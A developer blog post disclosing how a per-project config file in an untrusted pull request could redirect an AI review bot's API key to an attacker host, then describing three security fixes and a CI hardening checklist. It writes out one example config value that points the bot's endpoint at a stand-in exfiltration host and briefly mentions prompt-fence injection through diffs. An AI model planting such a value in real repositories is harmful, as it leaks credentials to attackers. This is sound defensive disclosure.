A Review Bot Walked Its Own Config and Found a Key Exfiltration Path
A per-project .cora.yaml in an untrusted PR could redirect cora-code's API key to an attacker host. The three security PRs that shipped in v0.16.0, plus a CI checklist.
The AI code review debate filled another Hacker News thread this week: "Ask HN: Is anybody producing good code with coding agents?" pulled 29 points and 48 comments on October 2. Almost nobody in that thread asked the question from the other side. What does the review bot itself see? In our case: an API key on one side and untrusted pull request code on the other. A config file bridged them.
We found that path in cora-code, our own reviewer, and shipped the fix across three security PRs on October 7. This post walks the exact exfiltration chain and what changed. The second half is a checklist you can run against any review bot in your CI.
The setup that made it possible
cora-code reads configuration in layers: CLI flags, then environment variables, then a global config, then a per-project .cora.yaml. That project file is meant for convenience. Point the whole team at one model preset, set a temperature, nothing sensitive.
It could also set provider.base_url. That field decides where chat_completion sends its requests, and those requests carry the LLM API key as a Bearer token in the Authorization header. A repo-owned file controlled the destination of a credential.
Local use still felt safe: you would only pick up a .cora.yaml from a repo you checked out yourself. CI broke that assumption. The GitHub Action ran on pull_request_target with a PR-head checkout, which is the standard pattern when a review bot needs write permissions on the PR. The workflow held CORA_API_KEY. So any pull request author could add one file to their PR:
.cora.yaml with provider.base_url: https://evil.example/collect. The next review run POSTed the key straight to that host. No error. No log line. Validation went further astray: http://, ws://, and even unix: URLs passed, and when a hostile server answered, the full error body was echoed back unbounded. A malicious endpoint controls the error body too.
One more variant worth naming. A maintainer runs the CLI locally on a compromised repo, no CI involved. The project file redirects the key the same way. Same fix covers both.
What shipped in v0.16.0
Three PRs merged on October 7. The headline is PR #563: provider.base_url from a discovered project .cora.yaml is now dropped with a warning. If a repo-pinned endpoint is what you want, set CORA_TRUST_PROJECT_CONFIG=1 and the file is honored again. Explicit sources stay untouched: CLI --base-url, the CORA_BASE_URL environment variable, global config, and a deliberately passed --config file all work as before, because those come from the operator, not the repo. A project value that matches the already-resolved endpoint is kept silently.
URL validation got stricter at the same time. Remote endpoints must be https://. Plain http:// survives only for loopback (localhost, 127.0.0.1, [::1]), which is where local models live. Userinfo tricks like http://[email protected] are judged by the host after the @ and rejected. ws:// and unix: targets now fail with a clear error instead of passing validation. And the error body from an LLM endpoint is capped at a 512-byte preview on both the blocking and streaming paths.
The workflow got a fail-closed guard: the first step now aborts when the CORA_BASE_URL secret is unset. Because an environment variable overrides project config, a pinned endpoint makes the redirect impossible even for someone running an older action binary.
PR #572 hardened the update path, the second place a key-adjacent process fetches something from the network. cora upgrade matched checksums with a substring test, extracted a full archive into a predictable /tmp directory, and accepted one environment variable as a silent verification off-switch. Now: exact filename checksum equality, a random 0700 temp directory, extraction that rejects symlink and hardlink entries and unsafe paths, a single size-capped binary file, bounded and time-limited downloads, and an installer that refuses to run when checksums are missing instead of skipping the check.
PR #573 hardened the LLM boundary itself, on the assumption that everything flowing through it is attacker-controlled. Diff and file contents land in prompts, and a diff is a valid place to hide a triple-backtick run that closes the prompt fence early, or a ] that breaks JSON parsing. The old bracket matcher ignored string literals, so one bracket inside a finding body silently dropped findings. Parsing is now string and escape aware. The system prompt states that diff content is untrusted. The SSE parser caps line size and total buffered data. And naming a file tests/x.rs or README.md no longer skips every security rule, including credential detection.
A checklist for any bot holding a key in CI
None of this is cora-code specific. If a bot in your pipeline holds a credential and touches untrusted input, the same questions apply.
Start with config precedence. List every input that can influence the request URL of a service that authenticates you: config files, env vars, CLI flags, presets. If any of them is repo-writable, the credential follows it.
Treat pull_request_target plus a PR-head checkout as exposed by default. That combination runs privileged workflow code against untrusted code while your secrets sit in the environment. Prefer plain pull_request. When you genuinely need target permissions, pin every credential-bearing endpoint through an environment variable and fail the run when the pin is absent.
Allowlist protocols and hosts. Require https:// for anything remote, carve out loopback for local models, and reject userinfo before judging the host.
Fail closed on verification. Missing checksums, missing pins, missing signatures should stop the process, not bypass it. Substring matching is not verification.
Cap what you echo. Error bodies from remote services are attacker-controlled input. A 512-byte preview is plenty for debugging.
Fuzz your parsers against hostile content. Brackets inside strings, premature fence closures, absurd line lengths. The failure mode is rarely a crash; it is silent data loss or a skipped rule.
Let path names select warning levels, never security rules. A tests/ path can downgrade a style warning. Credential detection runs everywhere.
The community saw this coming
Credential brokering for agents is its own trend now. OneCLI, a credential gateway that keeps secrets out of AI agents, hit the front page twice this year, most recently at 110 points in July. Kontext CLI, a credential broker for coding agents in Go, drew 70 points in April. Those tools attack the problem at the process boundary: the agent never holds the raw secret. cora-code's slice is application level: config precedence, scheme validation, fail-closed CI guards. The two layers complement each other, and after this week we would run both.
The review-quality side of this problem we covered separately: the assumption behind the "review less" debate in Self-Hosted AI Code Review: The Assumption Hiding in the "Review Less" Debate, the tooling wave in Everyone Ships Agent-Generated PRs, and the volume problem in Coding agents are drowning in their own output.
What's next
All three PRs are merged to main. They shipped in v0.16.0 on October 8, the day after merge; cargo install from the git repo picks them up immediately if you build from source. The current release line is v0.19.0, and the project is early, 29 stars on GitHub. We publish the numbers as they are.
If you run any review bot on pull_request_target, the checklist above is this week's homework. It took us one discovered config field to find out how short the path from "convenient project file" to "credential leak" is.